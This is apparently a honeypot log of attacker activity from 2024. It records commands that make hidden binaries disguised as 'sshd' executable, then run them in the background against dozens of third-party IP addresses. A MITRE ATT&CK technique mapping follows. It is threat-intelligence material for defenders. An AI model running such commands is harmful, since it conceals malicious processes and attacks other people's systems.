Honeypot attack session (period 2024), commands issued:
chmod +x ./.7341370297575147504/sshd;nohup ./.7341370297575147504/sshd 51.159.17.182 158.220.123.107 162.240.149.176 149.127.189.17 117.161.233.102 190.224.143.144 89.116.73.228 35.87.15.221 42.51.22.117 43.134.46.152 107.172.84.105 47.236.144.160 158.51.96.38 221.229.107.155 23.137.249.129 192.227.134.76 92.246.91.100 113.104.23.62 125.122.27.208 61.185.15.118 208.65.84.165 42.51.22.121 139.199.1.94 203.22.186.196 1.180.199.188 107.172.108.61 79.120.74.12 51.79.230.233 153.92.223.186 193.169.244.205 107.158.225.94 208.65.84.175 14.153.197.22 116.103.228.45 111.20.120.70 165.1.69.23 211.154.194.21 13.42.129.207 208.87.240.45 106.15.10.74 195.98.71.165 84.247.146.56 111.204.101.222 202.5.16.82 202.133.88.34 208.65.84.108 222.77.96.62 65.222.192.40 178.160.195.113 85.215.203.112 198.12.92.218 &
chmod +x ./.1599178324202992982/sshd;nohup ./.1599178324202992982/sshd 15.206.79.116 140.249.204.169 45.192.77.244 45.192.69.222 45.192.73.244 117.148.171.16 45.192.69.245 222.186.42.113 106.116.209.107 175.209.85.6 221.181.168.32 103.145.145.82 36.111.166.241 208.65.84.108 42.248.77.106 58.223.177.13 36.99.168.63 200.115.226.199 112.4.238.226 114.113.151.152 208.65.84.32 183.134.74.142 107.158.225.94 181.113.114.115 192.227.148.214 222.186.10.55 51.159.17.182 117.161.138.2 77.87.122.176 208.65.84.203 106.74.27.165 45.192.69.225 103.244.80.196 134.209.0.27 45.192.77.231 141.11.159.187 183.131.186.36 14.215.136.61 202.129.205.122 152.89.170.245 45.192.69.214 222.77.96.62 36.108.168.4 45.192.65.250 119.96.76.206 23.145.168.126 39.152.235.158 42.101.33.234 106.105.212.133 45.192.65.212 180.100.197.151 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter